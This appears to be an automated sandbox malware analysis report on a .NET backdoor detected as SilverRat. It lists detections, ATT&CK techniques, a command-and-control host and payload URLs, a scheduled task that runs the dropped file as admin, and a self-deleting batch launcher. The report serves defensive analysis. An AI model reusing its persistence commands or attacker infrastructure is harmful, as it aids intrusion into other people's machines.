Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Queries volume information: C:\Users\user\java\$77java.exe VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\RLesaPFXew.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Yara detected SilverRat

Source: Yara match	File source: RLesaPFXew.exe, type: SAMPLE
Source: Yara match	File source: 0.0.RLesaPFXew.exe.1d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.RLesaPFXew.exe.3af8618.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.RLesaPFXew.exe.3af8618.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.2129565272.00000000001D2000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2158375099.0000000003AE9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RLesaPFXew.exe PID: 5576, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\java\$77java.exe, type: DROPPED

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	1 Exploitation for Client Execution	1 Scripting	1 DLL Side-Loading	1 Disable or Modify Tools	1 Input Capture	1 File and Directory Discovery	Remote Services	11 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Command and Scripting Interpreter	1 DLL Side-Loading	11 Process Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	13 System Information Discovery	Remote Desktop Protocol	1 Input Capture	1 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	21 Scheduled Task/Job	21 Scheduled Task/Job	21 Scheduled Task/Job	11 Obfuscated Files or Information	Security Account Manager	1 Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	11 Registry Run Keys / Startup Folder	11 Registry Run Keys / Startup Folder	1 Software Packing	NTDS	11 Security Software Discovery	Distributed Component Object Model	Input Capture	13 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Process Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Masquerading	Cached Domain Credentials	31 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	31 Virtualization/Sandbox Evasion	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	11 Process Injection	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
RLesaPFXew.exe	66%	ReversingLabs	ByteCode-MSIL.Backdoor.Crysan
RLesaPFXew.exe	100%	Avira	HEUR/AGEN.1313050
RLesaPFXew.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\java\$77java.exe	100%	Avira	HEUR/AGEN.1313050
C:\Users\user\java\$77java.exe	100%	Joe Sandbox ML
C:\Users\user\java\$77java.exe	66%	ReversingLabs	ByteCode-MSIL.Backdoor.Crysan

Source	Detection	Scanner	Label
23.ip.gl.ply.gg	100%	Avira URL Cloud	malware
http://microsoft.co4yL	0%	Avira URL Cloud	safe
https://g.top4top.io/p_2522c7w8u1.png	0%	Avira URL Cloud	safe
https://g.top4top.io/p_2522c7w8u	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
23.ip.gl.ply.gg	147.185.221.23	true	true		unknown
discordapp.com	162.159.133.233	true	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
23.ip.gl.ply.gg	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://discordapp.com	$77java.exe, 0000000D.00000002.3389411382.0000000003A6B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://g.top4top.io/p_2522c7w8u	$77java.exe, 00000018.00000002.2206569086.0000000003041000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.top4top.io/p_2522c7w8u1.png	$77java.exe, 00000018.00000002.2206569086.0000000003041000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://crl.microsoft	$77java.exe, 0000000D.00000002.3392526779.000000001DC52000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	RLesaPFXew.exe, 00000000.00000002.2158375099.0000000003621000.00000004.00000800.00020000.00000000.sdmp, $77java.exe, 0000000D.00000002.3389411382.0000000003689000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.microsoft.co	$77java.exe, 0000000D.00000002.3392526779.000000001DC52000.00000004.00000020.00020000.00000000.sdmp	false		high
https://discordapp.com	$77java.exe, 0000000D.00000002.3389411382.00000000039CE000.00000004.00000800.00020000.00000000.sdmp	false		high
http://microsoft.co4yL	$77java.exe, 0000000D.00000002.3392526779.000000001DC52000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
147.185.221.23	23.ip.gl.ply.gg	United States		12087	SALSGIVERUS	true
162.159.133.233	discordapp.com	United States		13335	CLOUDFLARENETUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1552938
Start date and time:	2024-11-09 22:52:08 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 11s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	28
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	RLesaPFXew.exe renamed because original name is a hash value
Original Sample Name:	aa80b2971f14c91c4a09162357188bf73d0f9934.exe
Detection:	MAL
Classification:	mal100.troj.spyw.expl.evad.winEXE@32/10@2/2
EGA Information:	Successful, ratio: 66.7%
HCA Information:	Successful, ratio: 100% Number of executed functions: 14 Number of non-executed functions: 2
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, VSSVC.exe, svchost.exe
Excluded domains from analysis (whitelisted): client.wns.windows.com, ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, d.4.1.9.1.6.7.1.0.0.0.0.0.0.0.0.1.0.0.9.0.0.1.f.1.1.1.0.1.0.a.2.ip6.arpa, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target $77java.exe, PID 3000 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
VT rate limit hit for: RLesaPFXew.exe

Simulations

Behavior and APIs

Time	Type	Description
16:53:07	API Interceptor	1x Sleep call for process: RLesaPFXew.exe modified
16:53:12	API Interceptor	16x Sleep call for process: powershell.exe modified
22:53:11	Task Scheduler	Run new task: $77java.exe path: C:\Users\user\java\$77java.exe s>"\$77java.exe" /AsAdmin
22:53:11	Task Scheduler	Run new task: java_Task-DAILY-21PM path: %MyFile%

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
147.185.221.23	rboancbWce.exe	Get hash	malicious	XWorm	Browse
	dUoETPmfo3.exe	Get hash	malicious	Orcus	Browse
	MAqlwGvuGr.exe	Get hash	malicious	SheetRat	Browse
	V2Avz54IzW.exe	Get hash	malicious	XWorm	Browse
	explorers.exe	Get hash	malicious	XWorm	Browse
	wilde.exe.bin.exe	Get hash	malicious	XWorm	Browse
	7jgFDJY46m.exe	Get hash	malicious	Njrat	Browse
	17304785458593769886a354fbce7baa74763cdd4a7b5002da27c7b9fc27af676129226c18112.dat-decoded.exe	Get hash	malicious	XWorm	Browse
	r8gcHFIf3x.exe	Get hash	malicious	XWorm	Browse
	0eVxwphG1t.exe	Get hash	malicious	XWorm	Browse
162.159.133.233	Cheat_Lab_2.7.2.msi	Get hash	malicious	LummaC Stealer	Browse	cdn.discordapp.com/attachments/1175030470057136169/1175030979925135361/9
	Cheat.Lab.2.7.1.msi	Get hash	malicious	RedLine	Browse	cdn.discordapp.com/attachments/1166694372084027482/1169541101917577226/2.txt
	Cheat.Lab.2.7.1.msi	Get hash	malicious	RedLine	Browse	cdn.discordapp.com/attachments/1166694372084027482/1169541101917577226/2.txt
	DHL_SHIPMENTS.exe	Get hash	malicious	AsyncRAT, FormBook	Browse	cdn.discordapp.com/attachments/1012640888754819173/1012643262537928734/DHL_SHIPMENTS_Olorqccl.bmp
	SecuriteInfo.com.W32.FakeDoc.CY.genEldorado.18918.exe	Get hash	malicious	AgentTesla, GuLoader	Browse	cdn.discordapp.com/attachments/956928735397965906/1006148111393116200/yXfZJqhIAtCWEPINOAX189.thn
	64AE5410F978DF0F48DCC67508820EA230C566967E002.exe	Get hash	malicious	DCRat	Browse	cdn.discordapp.com/attachments/932607293869146142/941782821578633216/Sjxupcet.jpg
	PO - Drawings And Specifications Sheet_pdf.scr.exe	Get hash	malicious	AveMaria	Browse	cdn.discordapp.com/attachments/472051232014598144/935778066171580456/Sjddks44.jpg
	BFSdrqaAvS.exe	Get hash	malicious	Amadey RedLine	Browse	cdn.discordapp.com/attachments/878034206570209333/908436663947124756/slhost.exe
	GR01DtRd0N.exe	Get hash	malicious	Vidar	Browse	cdn.discordapp.com/attachments/575791168713916457/896907138390192158/ETH2.exe
	update[1].exe	Get hash	malicious	Unknown	Browse	cdn.discordapp.com/attachments/870656611562180611/873962758427783228/4401fbad77d12fbc.dll

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
discordapp.com	SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe	Get hash	malicious	Xmrig	Browse	162.159.135.233
	segura.vbs	Get hash	malicious	Remcos	Browse	162.159.135.233
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	162.159.129.233
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Quasar, Stealc	Browse	162.159.134.233
	LDlanZur0i.exe	Get hash	malicious	Unknown	Browse	162.159.135.233
	Fa1QSXjTZD.exe	Get hash	malicious	Unknown	Browse	162.159.133.233
	xxImTScxAq.exe	Get hash	malicious	Unknown	Browse	162.159.135.233
	FvmhkYIi5P.exe	Get hash	malicious	Unknown	Browse	162.159.134.233
	FvmhkYIi5P.exe	Get hash	malicious	Unknown	Browse	162.159.135.233
	NdEIhUToOm.exe	Get hash	malicious	Exela Stealer, Python Stealer	Browse	162.159.134.233
23.ip.gl.ply.gg	r8gcHFIf3x.exe	Get hash	malicious	XWorm	Browse	147.185.221.23
23.ip.gl.ply.gg	q0SpP6HxtE.exe	Get hash	malicious	XWorm	Browse	147.185.221.23

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	ypauPrrA08.exe	Get hash	malicious	Ades Stealer, BlackGuard, VEGA Stealer	Browse	104.26.13.205
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	x8AH98H0eQ.exe	Get hash	malicious	Stealc	Browse	104.21.56.70
	New Fax Notification.html	Get hash	malicious	HtmlDropper, HTMLPhisher	Browse	188.114.96.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	x8AH98H0eQ.exe	Get hash	malicious	Unknown	Browse	104.21.56.70
	file.exe	Get hash	malicious	LummaC Stealer, Stealc	Browse	188.114.97.3
	https://qrco.de/bfYBpc	Get hash	malicious	HtmlDropper, HTMLPhisher	Browse	104.18.95.41
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	188.114.97.3
	zGHItMC5Zc.exe	Get hash	malicious	Stealc	Browse	104.21.56.70
SALSGIVERUS	mips.elf	Get hash	malicious	Mirai, Moobot	Browse	147.176.207.108
	rboancbWce.exe	Get hash	malicious	XWorm	Browse	147.185.221.23
	dUoETPmfo3.exe	Get hash	malicious	Orcus	Browse	147.185.221.23
	MAqlwGvuGr.exe	Get hash	malicious	SheetRat	Browse	147.185.221.23
	V2Avz54IzW.exe	Get hash	malicious	XWorm	Browse	147.185.221.23
	explorers.exe	Get hash	malicious	XWorm	Browse	147.185.221.23
	wilde.exe.bin.exe	Get hash	malicious	XWorm	Browse	147.185.221.23
	7jgFDJY46m.exe	Get hash	malicious	Njrat	Browse	147.185.221.23
	173053704588c2a0238ac539c47055690b9c96a4c731d94cbd055f2efb823211a11ddf1811931.dat-decoded.exe	Get hash	malicious	XWorm	Browse	147.185.221.19
	x86_32.elf	Get hash	malicious	Gafgyt	Browse	216.221.14.221

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	ypauPrrA08.exe	Get hash	malicious	Ades Stealer, BlackGuard, VEGA Stealer	Browse	162.159.133.233
	seethebestthingswithentirelifetaggreatwithmebestofthem.hta	Get hash	malicious	Cobalt Strike, FormBook, HTMLPhisher	Browse	162.159.133.233
	creatbesthingswithbettersytelgivenmebestthingstobe.hta	Get hash	malicious	Cobalt Strike, FormBook, HTMLPhisher	Browse	162.159.133.233
	file.exe	Get hash	malicious	LummaC Stealer	Browse	162.159.133.233
	DHL Parcel-CBM is 3.1- Total weight is 435kgs.==WOE1910053_____________________________.exe	Get hash	malicious	DarkCloud	Browse	162.159.133.233
	Purchase_order08112024_pdf.vbs	Get hash	malicious	Unknown	Browse	162.159.133.233
	WMdKM7E5Yg.exe	Get hash	malicious	Quasar	Browse	162.159.133.233
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	162.159.133.233
	IsVcdKSMbE.exe	Get hash	malicious	Unknown	Browse	162.159.133.233
	IsVcdKSMbE.exe	Get hash	malicious	Unknown	Browse	162.159.133.233

Process:	C:\Users\user\java\$77java.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	859
Entropy (8bit):	5.379735105545312
Encrypted:	false
SSDEEP:	24:ML9E4KQ71qE4GIs0E4KCKDE4KGKZI6Khk:MxHKQ71qHGIs0HKCYHKGSI6ok
MD5:	66903BF8F31D4DE1B691C99CF8812A8A
SHA1:	6A49612CB1C2356F176B1B2E5481FB3CD0CB4289
SHA-256:	C09B65A3BA4819DAA12705C8C48400AD8F80B3B779954C14B9679396D252AF42
SHA-512:	A96F5D88E7B7A1C36D77AA9A42CA3513B70261F9B494F387A46F1DA01934E05F9659A0E8512D677DFC8602254C230CC7F370A83B916C329F908B645C5A2C247D
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Drawing\567ff6b0de7f9dcd8111001e94ab7cf6\System.Drawing.ni.dll",0..3,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Windows.Forms\2a7fffeef3976b2a6f273db66b1f0107\System.Windows.Forms.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\RLesaPFXew.exe.log

Download File

Process:	C:\Users\user\Desktop\RLesaPFXew.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	1305
Entropy (8bit):	5.376949986661823
Encrypted:	false
SSDEEP:	24:ML9E4KQ71qE4GIs0E4KCKDE4KGKZI6KhBsXE4Npp+84xp3/VclT:MxHKQ71qHGIs0HKCYHKGSI6okHNpp+vU
MD5:	12F2EE5E3A0DB26E8E1314AA79342433
SHA1:	24FDDE745B1AC21277129001357B38CC05079277
SHA-256:	3E515165812050CFEA5D52EB95B0794A79E577AAF171B4C7FD7A32585E16C338
SHA-512:	0C887455EB381DE55764A52DA4A9F1C8884FA76AE56F49B95D20D142300D6BB7F8874099847BBEF345A4D8931E4C475AE3CE86912A346CDED68B6DEE635C5CEF
Malicious:	true
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Drawing\567ff6b0de7f9dcd8111001e94ab7cf6\System.Drawing.ni.dll",0..3,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Windows.Forms\2a7fffeef3976b2a6f273db66b1f0107\System.Windows.Forms.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"System.Management, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\Syst

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1510207563435464
Encrypted:	false
SSDEEP:	3:Nlllullkv/tz:NllU+v/
MD5:	6442F277E58B3984BA5EEE0C15C0C6AD
SHA1:	5343ADC2E7F102EC8FB6A101508730898CB14F57
SHA-256:	36B765624FCA82C57E4C5D3706FBD81B5419F18FC3DD7B77CD185E6E3483382D
SHA-512:	F9E62F510D5FB788F40EBA13287C282444607D2E0033D2233BC6C39CA3E1F5903B65A07F85FA0942BEDDCE2458861073772ACA06F291FA68F23C765B0CA5CA17
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_miisklbp.vgt.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_oly2dpkt.ovt.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_sgcigazp.qlo.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vazok04i.bjj.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\tmp4B52.tmp.bat

Download File

Process:	C:\Users\user\Desktop\RLesaPFXew.exe
File Type:	DOS batch file, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	146
Entropy (8bit):	5.145770793928967
Encrypted:	false
SSDEEP:	3:mKDDCMNqTtvL5oNJP8vLVymqRDN+E2J5xAInTRI7IRwZPy:hWKqTtT6N9AVymq1N723fTjwk
MD5:	6F8CAF439906CE0F9490B75D3579C565
SHA1:	29D1F5C769B57D5EA2948398B5BE03A8A920B8E9
SHA-256:	2BC641B78D95FB5AEC8C54AF65A850C0CD4538021F999CA6F8A6DCE0B5E1723B
SHA-512:	6E592623278D31FD36DBACE84B475720BE04D21BF24978B1D477E70E7ABED6C3163615937CEFBE7ED12DCEE1EFACF8EA70B572BC9C62CCE61B3C962B241699DC
Malicious:	false
Preview:	@echo off..timeout 3 > NUL..START "" "C:\Users\user\java\$77java.exe"..CD C:\Users\user\AppData\Local\Temp\..DEL "tmp4B52.tmp.bat" /f /q..

C:\Users\user\java\$77java.exe

Download File

Process:	C:\Users\user\Desktop\RLesaPFXew.exe
File Type:	PE32+ executable (GUI) x86-64 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	46592
Entropy (8bit):	5.5548499971388345
Encrypted:	false
SSDEEP:	768:6lAB2vEsZq7tAXoHCs+QhkSFp4XdtAy9ex42RULe9PlKbo0B6SDZJvrAV89v8:6lAB2viIs+sUdtAy9o42GK9z0oOZJsVD
MD5:	537B270C2278044E4C3958530F745ECE
SHA1:	AA80B2971F14C91C4A09162357188BF73D0F9934
